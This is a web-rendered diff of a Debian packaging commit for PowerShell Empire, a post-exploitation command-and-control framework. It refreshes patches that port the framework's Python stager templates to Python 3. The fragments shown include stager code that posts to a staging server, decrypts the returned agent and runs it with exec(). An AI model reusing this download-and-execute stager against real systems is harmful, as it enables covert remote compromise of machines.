Codebase list powershell-empire / 7f66864
Refresh patches Sophie Brun 4 years ago
2 changed file(s) with 27 addition(s) and 21 deletion(s). Raw diff Collapse all Expand all
1010 5 files changed, 25 insertions(+), 6 deletions(-)
1111
1212 diff --git a/empire b/empire
13 index 83690da..1a47559 100755
13 index 6d5a1f1..a192867 100755
1414 --- a/empire
1515 +++ b/empire
1616 @@ -9,6 +9,22 @@ import hashlib
6868 conn.isolation_level = None
6969 return conn
7070 diff --git a/lib/common/empire.py b/lib/common/empire.py
71 index 6d296fd..5539d6d 100644
71 index 0f380b8..0dd3cd6 100644
7272 --- a/lib/common/empire.py
7373 +++ b/lib/common/empire.py
7474 @@ -316,7 +316,8 @@ class MainMenu(cmd.Cmd):
8282 self.conn.isolation_level = None
8383 return self.conn
8484 diff --git a/lib/common/helpers.py b/lib/common/helpers.py
85 index 524792c..148e5fa 100644
85 index e4858f9..702d916 100644
8686 --- a/lib/common/helpers.py
8787 +++ b/lib/common/helpers.py
8888 @@ -594,7 +594,7 @@ def get_config(fields):
1010 ---
1111 data/agent/stagers/dropbox.jinja2 | 133 +++++++++++++++++++++++++++++++++++++
1212 data/agent/stagers/dropbox.py | 135 --------------------------------------
13 data/agent/stagers/http.jinja2 | 98 +++++++++++++++++++++++++++
14 data/agent/stagers/http.py | 100 ----------------------------
13 data/agent/stagers/http.jinja2 | 101 ++++++++++++++++++++++++++++
14 data/agent/stagers/http.py | 103 -----------------------------
1515 lib/listeners/dbx.py | 2 +-
1616 lib/listeners/http.py | 4 +-
1717 lib/listeners/redirector.py | 2 +-
1818 lib/stagers/multi/pyinstaller.py | 4 +-
19 8 files changed, 237 insertions(+), 241 deletions(-)
19 8 files changed, 240 insertions(+), 244 deletions(-)
2020 create mode 100644 data/agent/stagers/dropbox.jinja2
2121 delete mode 100644 data/agent/stagers/dropbox.py
2222 create mode 100644 data/agent/stagers/http.jinja2
304304 -exec(agent)
305305 diff --git a/data/agent/stagers/http.jinja2 b/data/agent/stagers/http.jinja2
306306 new file mode 100644
307 index 0000000..1ff25ac
307 index 0000000..29575f3
308308 --- /dev/null
309309 +++ b/data/agent/stagers/http.jinja2
310 @@ -0,0 +1,98 @@
310 @@ -0,0 +1,101 @@
311311 +"""
312312 +This file is a Jinja2 template.
313313 + Variables:
318318 + stage_1
319319 + stage_2
320320 +"""
321 +
321 +from __future__ import print_function
322 +
323 +import copy
322324 +import random
323325 +import string
324 +import urllib2
326 +import urllib.request as urllib
325327 +
326328 +{% include 'common/rc4.py' %}
327329 +{% include 'common/aes.py' %}
330332 +
331333 +def post_message(uri, data):
332334 + global headers
333 + return (urllib2.urlopen(urllib2.Request(uri, data, headers))).read()
335 + return (urllib.urlopen(urllib.Request(uri, data, headers))).read()
334336 +
335337 +# generate a randomized sessionID
336 +sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(8))
338 +sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
337339 +
338340 +# server configuration information
339341 +stagingKey = '{{ staging_key }}'
405407 +agent = aes_decrypt_and_verify(key, response)
406408 +agent = agent.replace('REPLACE_WORKINGHOURS', WorkingHours)
407409 +agent = agent.replace('REPLACE_KILLDATE', KillDate)
410 +
408411 +exec(agent)
409412 diff --git a/data/agent/stagers/http.py b/data/agent/stagers/http.py
410413 deleted file mode 100644
411 index 4a9579a..0000000
414 index e13e781..0000000
412415 --- a/data/agent/stagers/http.py
413416 +++ /dev/null
414 @@ -1,100 +0,0 @@
415 -#!/usr/bin/env python
417 @@ -1,103 +0,0 @@
418 -#!/usr/bin/env python3
416419 -
417420 -"""
418421 -This file is a Jinja2 template.
424427 - stage_1
425428 - stage_2
426429 -"""
427 -
430 -from __future__ import print_function
431 -
432 -import copy
428433 -import random
429434 -import string
430 -import urllib2
435 -import urllib.request as urllib
431436 -
432437 -{% include 'common/rc4.py' %}
433438 -{% include 'common/aes.py' %}
436441 -
437442 -def post_message(uri, data):
438443 - global headers
439 - return (urllib2.urlopen(urllib2.Request(uri, data, headers))).read()
444 - return (urllib.urlopen(urllib.Request(uri, data, headers))).read()
440445 -
441446 -# generate a randomized sessionID
442 -sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(8))
447 -sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
443448 -
444449 -# server configuration information
445450 -stagingKey = '{{ staging_key }}'
511516 -agent = aes_decrypt_and_verify(key, response)
512517 -agent = agent.replace('REPLACE_WORKINGHOURS', WorkingHours)
513518 -agent = agent.replace('REPLACE_KILLDATE', KillDate)
519 -
514520 -exec(agent)
515521 diff --git a/lib/listeners/dbx.py b/lib/listeners/dbx.py
516522 index d737426..3b8ce2d 100755
526532 template_options = {
527533 'staging_folder': stagingFolder,
528534 diff --git a/lib/listeners/http.py b/lib/listeners/http.py
529 index a4c9636..be68a14 100644
535 index 81c4ee7..20db20a 100644
530536 --- a/lib/listeners/http.py
531537 +++ b/lib/listeners/http.py
532 @@ -617,8 +617,8 @@ class Listener(object):
538 @@ -626,8 +626,8 @@ class Listener(object):
533539 os.path.join(self.mainMenu.installPath, '/data/agent/stagers'),
534540 os.path.join(self.mainMenu.installPath, './data/agent/stagers')]
535541 eng = templating.TemplateEngine(template_path)